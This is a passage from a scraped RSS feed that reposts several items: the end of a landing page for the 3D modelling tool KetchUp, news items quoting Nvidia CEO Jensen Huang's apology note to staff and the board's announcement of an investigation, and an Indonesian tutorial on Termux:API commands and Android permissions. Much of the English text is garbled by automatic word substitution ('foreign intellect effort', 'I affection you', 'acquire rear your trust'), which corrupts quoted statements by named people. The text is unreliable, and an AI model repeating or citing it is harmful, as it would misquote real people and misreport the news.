components, and tags.</p> <span aria-hidden="true">&darr;</span> <h3>Your work, in your hands.</h3> <p>Autosave locally and download portable .ketchup projects. Import SketchUp geometry or export an OBJ to obtain your example further.</p> </div> <div> <h2 id="woodworking-title">Plan your furniture<br>before the archetypal cut.</h2> <p>For woodworkers, furnishings makers, and DIY builders who desire to examine a project in 3D.</p> </div> <div> <h3>Model the pieces</h3> <p>Draw commission outlines alongside rectangles and lines, afterward use Push/Pull to provision them thickness. Move and copy geometry to examine shelves, tables, cabinets, workbenches, and another furniture.</p> <h3>Check dimensions and fit</h3> <p>Enter exact lengths, break to geometry and axes, and use Tape Measure and Dimensions to inspect your design. Orbit about the gathering to assessment proportions before taking it to the workshop.</p> <h3>Keep the project organized</h3> <p>Use groups, reusable components, and tags to arrange parts. Save a portable .ketchup project locally, import SketchUp geometry, or export OBJ geometry for another 3D workflow.</p> </div> <p>Start alongside <a href="https://en.mycoding.id/category/technology" target="_blank">the browser editor</a> or <a href="https://en.mycoding.id/category/technology" target="_blank">download the desktop app</a>. Read the <a href="https://en.mycoding.id/category/technology" target="_blank">user guide</a> for modeling instructions and supported workflows.</p> <div> <div> <h2 id="first-model-title">Your archetypal shape<br>is three steps away.</h2> <p>The publishing company opens alongside a spotless slate.<br>Here&rsquo;s a fine location to start.</p> <p><a href="https://en.mycoding.id/category/technology" target="_blank">Open the workspace <span aria-hidden="true">&#8599;</span></a> </p></div> <ol> <li><div><h3>Draw a rectangle</h3><p>Click one corner, afterward the contrary border to create your archetypal face.</p></div></li> <li><div><h3>Give it several depth</h3><p>Choose Push/Pull, click the face, move your mouse, and click to finish.</p></div></li> <li><div><h3>Find a caller perspective</h3><p>Choose Orbit and drag to appearance around. Scroll to zoom; media F to fit your model.</p></div></li> </ol> </div> <h2 id="questions-title">A few things<br>before you begin.</h2> <div> What do I need to run it? <p>A desktop browser alongside hardware acceleration and WebGPU or WebGL2 support. Use a mouse and keyboard for modeling. You can additionally run KetchUp as a native Windows, macOS, or Linux app.</p> Where does my activity go? <p>Your example is autosaved in this browser on this device. Use File &rarr; Save to download a .ketchup project you can keep or open again. Clearing browser data can eliminate autosaved work, so download projects you desire to keep. There&rsquo;s no haze retention or document to set up.</p> Can I use my existing models? <p>Use File &rarr; Import/Export to import SketchUp (.skp) geometry or export Wavefront OBJ (.obj). Imports run locally. SketchUp textures, scenes, and several example features aren&rsquo;t supported; OBJ export includes geometry without materials.</p> Is KetchUp free? <p>Yes. KetchUp is open origin under the MIT licence and written in Rust. <a href="https://en.mycoding.id/category/technology" target="_blank">Explore the code, peruse the complete guide, or contribute on GitHub.</a></p> </div> <img src="https://ketchup3d.github.io//assets/branding/mark.svg" alt="" width="64" height="64" loading="lazy"> <h2 id="closing-title">A blank canvas.<br>Plenty of possibilities.</h2> <a href="https://en.mycoding.id/category/technology" target="_blank">Let&rsquo;s create item <span aria-hidden="true">&#8599;</span></a> <a href="https://en.mycoding.id/category/technology" target="_blank">Prefer the desktop? Download KetchUp <span aria-hidden="true">&uarr;</span></a> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/ketchup-open-source-sketchup-alternative-built-with-rust-and-webgpu-76212</guid> <pubDate>Sun, 08 Nov 2026 23:35:35 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Nvidia CEO Jensen Huang's letter to staff about affair]]></title> <description><![CDATA[Nvidia CEO Jensen Huang's letter to staff about affair. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/nvidia-ceo-jensen-huang-s-letter-to-staff-about-affair-76209</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/nvidia-ceo-jensen-huang-s-letter-to-staff-about-affair-76209</guid> <pubDate>Sun, 08 Nov 2026 23:20:09 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Nvidia CEO Jensen Huang says he was 'unfaithful' to his wife: Read his note to staff]]></title> <description><![CDATA[Nvidia CEO Jensen Huang says he was 'unfaithful' to his wife: Read his note to staff. In a note to staff, Nvidia CEO Jensen Huang stated he hopes to acquire rear the rely of his family and staffers following admitting to an affair.]]></description> <media:thumbnail url="https://i.insider.com/6af0e7eeeaa5e46dca2280d4?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/nvidia-ceo-jensen-huang-says-he-was-unfaithful-to-his-wife-read-his-note-to-staff-76206</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad25c16e50b02f612be461f?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad25c16e50b02f612be461f?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad25c16e50b02f612be461f?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad25c16e50b02f612be461f?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad25c16e50b02f612be461f?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad25c16e50b02f612be461f?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad25c16e50b02f612be461f?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Jensen Huang Nvidia." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Nvidia stated it's examining whether CEO Jensen Huang was the mark of a "foreign intellect effort."</span> <span> <span e-name="image-source" itemprop="creditText">Bloomberg/Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Nvidia CEO and originator <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Jensen Huang</a> apologized for being "unfaithful" to his spouse in a note to personnel on Sunday.</p><p>Earlier in the day, Nvidia stated its commission of board opened an <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">independent investigation</a> into whether Huang had been the "target of a abroad intellect effort."</p><p>The New York Times reported final duration that US officials accept Alice Huang, a erstwhile administrator at a data center business in Singapore, was a Chinese intellect asset passing data to Beijing. The outlet reported that surveillance of Huang showed that she had developed a association alongside the Nvidia founder.</p><p>Read Huang's note to staffers here:</p><p><em>To my colleagues at NVIDIA,</em></p><p><em>I owe my family and all of you an apology.</em></p><p><em>I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.</em></p><p><em>Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.</em></p><p><em>To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.</em></p> <p><em>To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.</em></p><p><em>Regarding the national safety concerns raised in news reports, NVIDIA's Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America's national security. I am arrogant and grateful to be an American.</em></p><p><em>My family bears no duty for my choices. I do. Please provision them privacy.</em></p><p><em>Jensen</em></p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/nvidia-ceo-jensen-huang-says-he-was-unfaithful-to-his-wife-read-his-note-to-staff-76206</guid> <pubDate>Sun, 08 Nov 2026 22:56:49 +0700</pubDate> <author><![CDATA[support@mycoding.id (Lauren Edmonds)]]></author> </item> <item> <title><![CDATA[Ask HN: What are you working on? (November 2026)]]></title> <description><![CDATA[Ask HN: What are you working on? (November 2026). Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/ask-hn-what-are-you-working-on-november-2026-76207</link> <content:encoded><![CDATA[<div><p>Sorry </p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/ask-hn-what-are-you-working-on-november-2026-76207</guid> <pubDate>Sun, 08 Nov 2026 22:20:20 +0700</pubDate> <author><![CDATA[support@mycoding.id (Doris Putra)]]></author> </item> <item> <title><![CDATA[Nvidia Board of Directors Is Investigating Jensen Huang]]></title> <description><![CDATA[Nvidia Board of Directors Is Investigating Jensen Huang. Comments]]></description> <media:thumbnail url="https://iprsoftwaremedia.com/219/files/202512/692f56983d6332f89cbbc58b_nvidia-logo-horiz-wht-16x9/nvidia-logo-horiz-wht-16x9_44a60e3f-c4e5-4d8a-879f-ec5121ad6f4b-prv.png?v=44a60e3f-c4e5-4d8a-879f-ec5121ad6f4b"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/nvidia-board-of-directors-is-investigating-jensen-huang-76203</link> <content:encoded><![CDATA[<div> <p>The NVIDIA Board is initiating an autonomous inquiry in ray of latest reporting that originator and CEO Jensen Huang has been the mark of a abroad intellect effort.</p> <p>A commission of autonomous directors, assisted by exterior autonomous counsel, volition oversee the investigation.&nbsp;&nbsp;</p> <p>The Board prioritizes U.S. national and financial security, which is paramount to the interests of NVIDIA and its shareholders.</p> <p>While the Board has no logic to accept that either national safety or NVIDIA secrets were compromised, the Board's enquiry volition analyze all accessible information.&nbsp;</p> <p>Jensen completely supports the assessment and has committed to cooperating alongside it.</p> <p>The Board has confidence in Jensen and his guidance squad and volition provision additional updates as appropriate.</p> <p><br> <img alt="" referrerpolicy="no-referrer-when-downgrade" src="https://ml.globenewswire.com/media/MTQ4ZjE2NjgtZjQ3ZC00YWFkLThlNDItMDYwYTQ4Mzc1OTk1LTEwMTg0ODUtMjAyNi0xMS0wOC1lbg==/tiny/NVIDIA-CORPORATION.png"></p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/nvidia-board-of-directors-is-investigating-jensen-huang-76203</guid> <pubDate>Sun, 08 Nov 2026 21:26:43 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Nvidia is investigating CEO Jensen Huang after he said he was unfaithful to his wife: Read his note to staff]]></title> <description><![CDATA[Nvidia is investigating CEO Jensen Huang after he said he was unfaithful to his wife: Read his note to staff. Nvidia says it is beginning an inquiry into whether CEO Jensen Huang was the mark of a &quot;foreign intellect effort.&quot;]]></description> <media:thumbnail url="https://i.insider.com/6af0d85e8f37e8e0b5bab22b?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/nvidia-is-investigating-ceo-jensen-huang-after-he-said-he-was-unfaithful-to-his-wife-read-his-note-to-staff-76201</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad64c612428f6b455813bf5?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad64c612428f6b455813bf5?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad64c612428f6b455813bf5?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad64c612428f6b455813bf5?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad64c612428f6b455813bf5?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad64c612428f6b455813bf5?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad64c612428f6b455813bf5?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Jensen Huang" decoding="sync"> </p></div> <figcaption e-name="image-caption"> <span e-name="image-source" itemprop="creditText">Bloomberg/Getty Images</span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <span>Jensen Huang.</span> </figcaption> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Nvidia's commission of board says it is beginning an inquiry into whether CEO Jensen Huang was the mark of a "foreign intellect effort."</p><p>The notice came following Huang sent a note to Nvidia personnel in which he stated he was "unfaithful" to his wife.</p><p>In a declaration on Sunday, the business stated the commission of board prioritizes US national and financial security, which it considers "paramount to the&nbsp;interests of NVIDIA and its shareholders."</p><p>Read his note here:</p><p><em>To my colleagues at NVIDIA,</em></p><p><em>I owe my family and all of you an apology.</em></p><p><em>I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.</em></p><p><em>Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.</em></p><p><em>To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.</em></p> <p><em>To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.</em></p><p><em>Regarding the national safety concerns raised in news reports, NVIDIA's Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America's national security. I am arrogant and grateful to be an American.</em></p><p><em>My family bears no duty for my choices. I do. Please provision them privacy.</em></p><p><em>Jensen</em></p><p><em>This is breaking news. Check rear for more.</em></p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/nvidia-is-investigating-ceo-jensen-huang-after-he-said-he-was-unfaithful-to-his-wife-read-his-note-to-staff-76201</guid> <pubDate>Sun, 08 Nov 2026 21:21:30 +0700</pubDate> <author><![CDATA[support@mycoding.id (Lauren Edmonds)]]></author> </item> <item> <title><![CDATA[Termux API: Cara Install Termux:API, Izin Android, dan Perintah yang Sering Dipakai]]></title> <description><![CDATA[Termux API: Cara Install Termux:API, Izin Android, dan Perintah yang Sering Dipakai. Termux API: Cara Install Termux:API, Izin Android, dan Perintah yang Sering Dipakai. Termux API adalah pasangan aplikasi Android Termux:API dan paket termux-api...]]></description> <media:thumbnail url="https://www.jetorbit.com/blog/wp-content/uploads/2026/11/termux-api.png"/> <category><![CDATA[Indonesian]]></category> <link>https://en.mycoding.id/termux-api-cara-install-termux-api-izin-android-dan-perintah-yang-sering-dipakai-76215</link> <content:encoded><![CDATA[<div><p>Termux API adalah pasangan aplikasi Android Termux:API dan paket termux-api yang membikin perintah di Termux bisa memakai fungsi HP, misalnya membaca status baterai, memunculkan notifikasi, mengisi clipboard, maupun memotret. Kalian perlu memasang keduanya, dan aplikasi Termux serta Termux:API mesti berasal dari sumber yang sama: sama-sama F-Droid maupun sama-sama GitHub.</p> <p>Kalau perintah alas seperti pkg install dan nano statis asing, buka dahulu <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank">daftar perintah Termux</a> kami, karena contoh di bawah memakai keduanya.</p> <h2>Apa Itu Termux API dan Kenapa Butuh Dua Bagian</h2> <p>Termux sendiri adalah terminal dan lingkungan Linux. Ia tidak bisa langsung menyalakan senter, membaca lokasi, maupun memunculkan notifikasi Android. Pekerjaan itu diambil alih Termux API, yang nama resminya ditulis Termux:API. README repositorinya mengatakan aplikasi ini membuka API Android agar bisa dipakai dari baris perintah, skrip, maupun program lain.</p> <p>Aplikasi Termux:API berjalan di sisi Android. Dialah yang memanggil fungsi HP dan meminta persetujuan ke pengguna. Paket termux-api dipasang di dalam Termux dan berisi perintah seperti termux-battery-status maupun termux-notification. Perintah itu memproses argumen, meneruskan permintaan ke aplikasi lewat program bantu disebut termux-api, kemudian menampilkan dampaknya di terminal. Beberapa perintah, seperti status baterai dan lokasi, mengembalikan hasil dalam format JSON.</p> <p>Jadi paket tanpa aplikasi tidak punya tujuan untuk dipanggil, dan aplikasi tanpa paket tidak punya perintah untuk dijalankan. Deskripsi paket di repositori Termux pun mengingatkan hal yang sama: pasang juga aplikasi Termux:API.</p> <h2>Kenapa Termux dan Termux:API Harus dari Sumber yang Sama</h2> <p>Syarat ini wajib dipenuhi sebelum memasang Termux API. README termux-app menerangkan bahwa APK dari tiap sumber ditandatangani dengan kunci yang berbeda. Termux dan semua pluginnya, termasuk Termux:API, memakai sharedUserId com.termux yang sama, sehingga semuanya mesti ditandatangani dengan kunci yang sama. README Termux:API menambahkan bahwa cuma aplikasi Termux utama yang boleh memanggil fungsi di aplikasi API, dan izinnya baru bekerja jika tanda tangannya cocok.</p> <p>Pasangkan Termux dari F-Droid dengan Termux:API dari F-Droid, maupun Termux dari GitHub dengan Termux:API dari GitHub. Kalau dicampur, Android biasanya menolak pemasangan dengan pesan seperti App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, maupun signatures do not match previously installed version.</p> <p>Mau pindah sumber? Hapus dahulu Termux beserta semua pluginnya, kemudian pasang ulang semuanya dari sumber baru. README Termux menyarankan mencadangkan isi Termux sebelum menghapusnya. Untuk Google Play, README yang sama mengatakan build di sana statis cabang eksperimental dengan fitur yang belum lengkap, dan menyarankan F-Droid maupun GitHub bagi yang bisa memakainya.</p> <h2>Cara Install Termux API</h2> <ol> <li>Pastikan Termux terpasang dari F-Droid maupun dari halaman rilis GitHub termux/termux-app.</li> <li>Pasang aplikasi Termux:API dari sumber yang sama: halaman com.termux.api di F-Droid, maupun halaman Releases repositori termux/termux-api di GitHub (nama file APK-nya memuat github.debug).</li> <li>Buka Termux, kemudian pasang paket perintahnya dengan pkg install termux-api.</li> <li>Uji dengan termux-battery-status. Kalau berhasil, terminal menampilkan JSON yang antara lain berisi percentage (persen baterai), status (misalnya CHARGING maupun DISCHARGING), plugged, dan temperature.</li> </ol> <p>Di antara perintah Termux API, status baterai tidak meminta persetujuan apa pun, jadi cocok untuk tes pertama. Perintah yang menyentuh kamera, lokasi, maupun mikrofon akan memunculkan percakapan persetujuan saat pertama kali dipanggil.</p> <h2>Izin Android yang Diminta Termux API</h2> <p>Aplikasi Termux API mendaftarkan banyak persetujuan di manifesnya, termasuk kamera, lokasi, mikrofon, kontak, SMS, dan getar. Izin yang sensitif tidak diberikan otomatis. Aplikasi memeriksanya setiap kali perintah dipanggil. Bila persetujuan belum ada, ia membuka percakapan persetujuan dan mengembalikan pesan error ke terminal. Beberapa contohnya:</p> <figure><div><table readabilitydatatable="1"><thead><tr><th>Perintah</th><th>Izin Android yang diperiksa</th></tr></thead><tbody><tr><td>termux-camera-photo</td><td>CAMERA</td></tr><tr><td>termux-location</td><td>ACCESS_FINE_LOCATION</td></tr><tr><td>termux-microphone-record</td><td>RECORD_AUDIO</td></tr><tr><td>termux-contact-list</td><td>READ_CONTACTS</td></tr><tr><td>termux-call-log</td><td>READ_CALL_LOG</td></tr><tr><td>termux-sms-send</td><td>READ_PHONE_STATE dan SEND_SMS</td></tr></tbody></table></div></figure> <p>Kalau persetujuan kamera belum diberikan, misalnya, keluarannya seperti ini:</p> <pre>{ "error": "Please grant the following permission to use this command: android.permission.CAMERA" }</pre> <p>Setelah persetujuan diberikan lewat dialog, jalankan ulang perintahnya. Kalau persetujuan sempat ditolak, buka pengaturan aplikasi Termux:API di Android, masuk ke bagiankecil izin, kemudian aktifkan persetujuan yang disebut di pesan error.</p> <p>Lokasi punya syarat tambahan. Di Android 11 ke atas, Termux:API juga memeriksa persetujuan letak latar belakang. Bila belum ada, termux-location mengembalikan pesan Background location permission not granted dan meminta kalian membuka Settings, Apps, Termux:API, Permissions, Location, kemudian memilih Allow all the time. Perintah termux-notification-list juga butuh akses notifikasi; tanpa akses itu, aplikasi menampilkan toast Please give Termux:API Notification Access dan membuka halaman pengaturannya.</p> <h2>Daftar Perintah Termux API yang Sering Dipakai</h2> <figure><div><table readabilitydatatable="1"><thead><tr><th>Perintah</th><th>Fungsi</th><th>Contoh</th></tr></thead><tbody><tr><td>termux-battery-status</td><td>Status baterai dalam JSON: persen, status pengisian, suhu, sumber daya</td><td>termux-battery-status</td></tr><tr><td>termux-notification</td><td>Menampilkan notifikasi mekanisme dengan judul (-t) dan isi (-c)</td><td>termux-notification -t "Backup" -c "Selesai"</td></tr><tr><td>termux-toast</td><td>Popup teks singkat di layar; -s untuk durasi pendek</td><td>termux-toast -s "Selesai"</td></tr><tr><td>termux-vibrate</td><td>Menggetarkan HP; -d durasi dalam milidetik (bawaan 1000)</td><td>termux-vibrate -d 500</td></tr><tr><td>termux-clipboard-get</td><td>Membaca teks di clipboard</td><td>termux-clipboard-get</td></tr><tr><td>termux-clipboard-set</td><td>Mengisi clipboard dari karena maupun stdin</td><td>echo "halo" | termux-clipboard-set</td></tr><tr><td>termux-location</td><td>Lokasi HP; -p gps/network/passive, -r once/last/updates</td><td>termux-location -p network -r last</td></tr><tr><td>termux-camera-info</td><td>Informasi kamera yang ada di HP, termasuk ID-nya</td><td>termux-camera-info</td></tr><tr><td>termux-camera-photo</td><td>Memotret dan menyimpan JPEG; -c memilih ID kamera</td><td>termux-camera-photo -c 0 foto.jpg</td></tr><tr><td>termux-wifi-connectioninfo</td><td>Info hubungan Wi-Fi saat ini, seperti SSID, IP, RSSI, dan kecepatan tautan</td><td>termux-wifi-connectioninfo</td></tr><tr><td>termux-torch</td><td>Menyalakan maupun mematikan senter</td><td>termux-torch on</td></tr><tr><td>termux-job-scheduler</td><td>Menjadwalkan skrip agar berjalan berkala</td><td>lihat contoh di bawah</td></tr></tbody></table></div></figure> <p>Sebagian besar perintah menampilkan pertolongan dan daftar opsinya lewat -h, misalnya termux-notification -h. Daftar komplit perintah Termux API ada di <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank" rel="noopener">folder scripts repositori termux-api-package</a> di GitHub; tiap file di sana adalah skrip satu perintah beserta teks bantuannya.</p> <h2>Contoh Skrip Termux API: Notifikasi Saat Baterai Hampir Habis</h2> <p>Skrip ini memakai tiga perintah Termux API sekaligus. Ia membaca status baterai, kemudian memunculkan notifikasi dan getar singkat jika baterai sedang tidak diisi dan sisanya 20% maupun kurang.</p> <pre>#!/data/data/com.termux/files/usr/bin/sh BATAS=20 INFO=$(termux-battery-status) PERSEN=$(echo "$INFO" | grep '"percentage"' | grep -o '[0-9][0-9]*') STATUS=$(echo "$INFO" | grep '"status"' | cut -d '"' -f 4) if [ -n "$PERSEN" ] &amp;&amp; [ "$STATUS" = "DISCHARGING" ] &amp;&amp; [ "$PERSEN" -le "$BATAS" ]; then termux-notification --id baterai -t "Baterai tinggal $PERSEN%" -c "Colokkan charger sebelum HP mati." termux-vibrate -d 500 fi</pre> <p>Baris grep memungut bilangan dari baris percentage, dan cut memungut teks status seperti DISCHARGING. Pengecekan status membikin notifikasi tidak muncul saat HP sedang dicas. Opsi --id baterai membikin notifikasi baru menimpa notifikasi durasi dengan ID yang sama, jadi tidak menumpuk. Kalau formasi if dengan beberapa kondisi itu belum familier, lihat panduan <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank">if else di Bash</a>.</p> <p>Cara memasang dan menjadwalkannya:</p> <ol> <li>Buat filenya dengan nano ~/baterai.sh, tempel skrip di atas, kemudian simpan.</li> <li>Jadikan executable dengan chmod +x ~/baterai.sh.</li> <li>Uji sekali dengan ~/baterai.sh. Supaya notifikasinya pasti muncul saat uji, ubah sementara BATAS=20 menjadi BATAS=100 dan cabut charger.</li> <li>Jadwalkan dengan termux-job-scheduler -s $HOME/baterai.sh --job-id 1 --period-ms 900000 --battery-not-low false.</li> </ol> <p>Angka 900000 milidetik sama dengan 15 menit, batas minimum masa sejak Android 7 menurut teks pertolongan perintah ini. Opsi --battery-not-low bawaannya true, artinya tugas cuma berjalan saat baterai tidak lemah. Untuk skrip peringatan baterai, harga itu mesti diubah ke false, jika tidak skripnya justru tidak jalan saat dibutuhkan. Cek agenda yang aktif dengan termux-job-scheduler -p dan hapus dengan termux-job-scheduler --cancel --job-id 1.</p> <h2>Error yang Sering Muncul Saat Memakai Termux API</h2> <figure><div><table readabilitydatatable="1"><thead><tr><th>Pesan</th><th>Penyebab</th><th>Solusi</th></tr></thead><tbody><tr><td>App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, signatures do not match previously installed version</td><td>Termux dan Termux:API berasal dari sumber berbeda</td><td>Hapus Termux dan semua pluginnya, pasang ulang dari satu sumber</td></tr><tr><td>Perintah seperti termux-battery-status tidak dikenali (command not found)</td><td>Paket termux-api belum terpasang</td><td>pkg install termux-api</td></tr><tr><td>Please grant the following permission to use this command: ...</td><td>Izin Android untuk perintah itu belum diberikan</td><td>Izinkan di percakapan yang muncul maupun di pengaturan aplikasi Termux:API</td></tr><tr><td>Background location permission not granted</td><td>Android 11 ke atas, persetujuan letak belum diset sepanjang waktu</td><td>Ubah persetujuan letak Termux:API ke Allow all the time</td></tr><tr><td>Cannot execute file: ...</td><td>Skrip yang dijadwalkan belum executable</td><td>chmod +x pada skrip tersebut</td></tr><tr><td>No such file: ...</td><td>Path skrip di termux-job-scheduler -s salah</td><td>Pakai path lengkap, misalnya $HOME/baterai.sh</td></tr></tbody></table></div></figure> <p>Error di luar Termux API, seperti proses yang selesai dengan pesan signal 9 maupun paket yang tidak ditemukan saat pkg install, sudah kami ulas di <a href="https://en.mycoding.id/category/indonesian" target="_blank" target="_blank">10 error pada Termux dan metode mengatasinya</a>.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/termux-api-cara-install-termux-api-izin-android-dan-perintah-yang-sering-dipakai-76215</guid> <pubDate>Sun, 08 Nov 2026 21:00:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Chewy and other companies pull ads from 'I've Had It' 